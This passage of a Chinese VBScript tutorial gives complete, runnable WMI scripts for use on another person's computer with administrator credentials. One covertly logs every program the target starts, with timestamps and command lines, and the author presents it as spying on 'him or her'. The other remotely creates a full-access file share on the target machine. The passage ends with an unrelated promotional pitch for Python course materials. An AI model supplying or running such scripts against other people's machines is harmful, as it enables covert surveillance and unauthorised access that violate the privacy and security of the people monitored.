在任務一和任務三中我們都是在查看對方的進程,出來的結(jié)果對我們意義不是很大,在這個任務中我們要從現(xiàn)在開始每當他開一個任務我們就察覺到,并把它記錄下來。我們要在他開進程的那一秒開始報告并記錄,我們要清楚他所開的程序所在的位置,我們要比他更清楚地知道這些信息。
現(xiàn)在我們就按照前面提到的三個步驟來實現(xiàn)任務。
首先,我們連接到對方的WMI。在這里我們首先調(diào)用 VBScript 的中的Createobject()來得到一個對象,然后利用這個特殊的對象的方法來連接到遠程的計算機上。這個特殊的對象就是wbemscripting.swbemlocator。
set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
注意其中的strComputer就是你所要連接的計算機的名稱或者IP地址,strUser,strPwd當然就是用戶名和密碼了,我們說過這個用戶必須是具有管理員權限的才可以。root\cimv2是WMI的命名空間,關于WMI的命名空間,大家可以到"計算機管理\WMI控件"中看到,這里面的學問就大了,得慢慢琢磨,為了我們的任務快速實現(xiàn),我就不多解釋了。用這種方法連接到WMI,返回一個對SWbemServices對象的引用,一旦有一個對 SWbemServices對象的引用。我們就可以進行第二個步驟了。
在第二個步驟中,我們將得到WMI 托管資源的實例,我們利用WbemServices中的一個方法ExecNotificationQuery可以查詢我們所要的類,進而可以得到該類中實例。
Set colMonitoredProcesses=wbemServices. _ ExecNotificationQuery("select * from __instancecreationevent " _ & " within 1 where TargetInstance isa 'Win32_Process'")
注意這里有個類似于SQL語言的查詢語言,這里叫做WQL語言,懂SQL的一看就明白了,不懂的就在網(wǎng)上找找它的資料,滿天都是。得到的colMonitoredProcesses是所查詢的類的實例的集合。有了這些我們的第三個步驟就可以開始了。
在第三個步驟中,我們將顯示出得到的實例中的屬性。剛才我們得到的是實例的集合,在這里我們通過colMonitoredProcesses.NextEvent來獲取每一個具體的實例,得到每一個具體的實例后,我們就可以顯示出他們的屬性,也就是我們想看的東西了。這里我們顯示了CommandLine的屬性值。
到現(xiàn)在你是否有些迷惑了,因為你還不知道到底WMI里面有那些類,具體類又有哪些屬性,呵呵,沒有關系的,用一些工具可以很輕松的得到這些信息。比如系統(tǒng)自帶的wbemtest,在運行中敲入這個程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個步驟。自己慢慢玩吧,很快你就會發(fā)現(xiàn)WMI太大了,單是命名空間就有10多個,然后單是我們常用的空間root\CIMV2里面就有近1000個類,每個類里面又有好多的屬性,有些類還有好多方法。哈哈,頭暈了吧?沒關系,其實你只需要知道其中的一些就好了。
看到這些估計你的頭已經(jīng)很大了,但是恭喜你,我們的這個任務已經(jīng)完成了,是的,就是這么簡單,下面我將完整代碼奉獻出來。
Set colArgs=WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If
strComputer=wscript.arguments(0)
strUser=wscript.arguments(1)
strPwd=wscript.arguments(2)
strFile=wscript.arguments(3)
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set colMonitoredProcesses=wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i=0
Do While i=0
Set objLatestProcess=colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS=CreateObject("Scripting.FileSystemObject")
Set objNewFile=objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
到這個程序的核心了吧?相信你已經(jīng)懂了其中的很多,剩余的部分代碼我稍后解釋。我們先來感性認識一下,先看它該怎么用吧!把上面的代碼拷貝到記事本中,然后保存為monitor.vbs的文件,然后在命令提示符下輸入:
CSCRIPT monitor.vbs
回車,你就會看到幫助,下面舉例說明這個腳本的具體用法:
CSCRIPT monitor.vbs 192.168.1.2 user password C:.txt
在命令提示符下敲入上面的命令就OK了,每當對方開一個程序的時候,你就可以看到時間,程序路徑和程序名。如果你沒有時間去看這些信息,你還可以等有時間的時候到C:.txt看到這些信息。
小知識:
每次使用腳本,都必須敲入CSCRIPT和腳本的后綴名,很麻煩。這是因為系統(tǒng)默認的執(zhí)行引擎是WSCRIPT,可以將它改成CSCRIPT。另外一個讓人不爽的是腳本執(zhí)行后總要顯示微軟的說明,好像腳本不是我們寫的一樣。不過你可以通過在命令提示符下敲入下面的命令來解決這個問題:
cscript //nologo //h:cscript //s
這樣你以后再運行這些腳本的時候就不用在敲入CSCRIPT了,也不用在寫入.vbs的后綴名了,就上面的例子來說,你可以這樣用:
monitor 192.168.1.2 user password C:.txt
解釋:
1)前面的那幾行,大概就是為了顯示幫助和處理我們在后面輸入的參數(shù)。應用到了WScript.Arguments這個對象,利用它我們可以來獲取并處理腳本的參數(shù)。
2)那個死循環(huán)是為了讓我們一直監(jiān)視他(她),每當他開一個程序,我們就得到一個新的實例,我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當我們這個腳本運行后,只有通過我們?nèi)藶橹兄共拍苤袛啾O(jiān)視,人為中止的方法大家可以用CTRL+C來完成,也可以用各種野蠻的方法來中止。
3)在代碼中出現(xiàn)的另外一個核心對象就是FileSystemObject,應該是大家的老朋友了吧,我這里就不再做解釋了,我們在這里應用它主要是為了將結(jié)果同時保存到一個文件中,我們利用它來創(chuàng)建或打開一個文件,將信息追加進去。
4)至于那個NOW,雖然體積很小,但是卻正是它給我們提供了時間這個重要的信息。
5)如果你想要監(jiān)視的是自己的計算機而不是遠程的計算機(據(jù)我所知,這個應用還是很廣的)。那么請將計算機名的參數(shù)寫為一個小點,用戶名和密碼留為空。如下所示:
monitor . "" "" C:.txt
2.任務五:利用腳本給對方開放共享
有了任務四的基礎,這次我們就先看代碼吧:
Set colArgs=WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer=wscript.arguments(0)
strUser=wscript.arguments(1)
strPwd=wscript.arguments(2)
strPath=wscript.arguments(3)
strShareName=wscript.arguments(4)
intMaximumAllowed=1
strDescription="Temporary share"
Const SHARED_FOLDER=0
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set objSWbemObject=wbemServices.Get("Win32_Share")
intReturnvalue=objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)
if(intReturnvalue=0) Then
WScript.Echo "The share have been created successfully"
End If
解說:
1)我們可以看出來前面的那幾行是為顯示幫助和處理輸入?yún)?shù)而存在的。
2)緊接著設置了幾個變量,為以后做參數(shù)用的。這里我們可以先不理會它。
3)連接到主機的WMI,然后就是查詢。前面已經(jīng)說的很詳細了。
4)這次得到實例集后,我們用了它的一個方法,也就是這個方法讓共享成為了可能,聯(lián)系到第二部分的內(nèi)容,我們不難知道第一個參數(shù)表示要共享的路徑和文件名,第二個參數(shù)表示共享名,第三個參數(shù)為0就可以了,第四個參數(shù)是指可以連接的人數(shù),第五個參數(shù)是共享描述了,而我們只關心前面的兩個參數(shù)。如果手頭有MSDN那就好辦了,到MSDN中可以查到該方法的更詳細的內(nèi)容。
5)這次我們根據(jù)第四步的返回值來得到共享是否成功,并給出提示。不同的返回值代表不同的意義。這個信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表拒絕訪問,9代表用戶名錯誤,25代表主機名沒有找到等等。
6)這次我們要注意的是,用這個腳本來實現(xiàn)遠程文件共享,要求遠程存在這個文件,否則無法共享。當然你也可以利用教本創(chuàng)建自己的文件夾,很容易的,自己創(chuàng)建吧。
7)如上腳本創(chuàng)建后的共享是完全共享。就是可以刪除修改文件的。
8)用法舉例:share netp net swswsw C:\dodo marsh
好了,到現(xiàn)在為止,大家應該對這位朋友有些了解了,我的介紹任務也就告一段落了,如果大家想進一步認識它,那就主要靠大家的主動性了。這次我們主要通過WMIC和腳本來認識它,下次我將帶領大家通過真正的程序代碼來認識它,讓它也有個象Windows一樣漂亮的臉蛋。今天我所提到的估計只能算是WMI的萬分之一,都算不上是冰山一角。剩余的要靠自己來發(fā)揮了。如果你肯利用你的所學,那么奇跡就會產(chǎn)生。
當然如果想學好vbs就要查看一些資料:
這里推薦兩個介紹基礎函數(shù)的地址,然后大家可以多看下別人的代碼,多練習,多寫。
最后,小編想說:我是一名python開發(fā)工程師,
整理了一套最新的python系統(tǒng)學習教程,
想要這些資料的可以關注私信小編“01”即可(免費分享哦)希望能對你有所幫助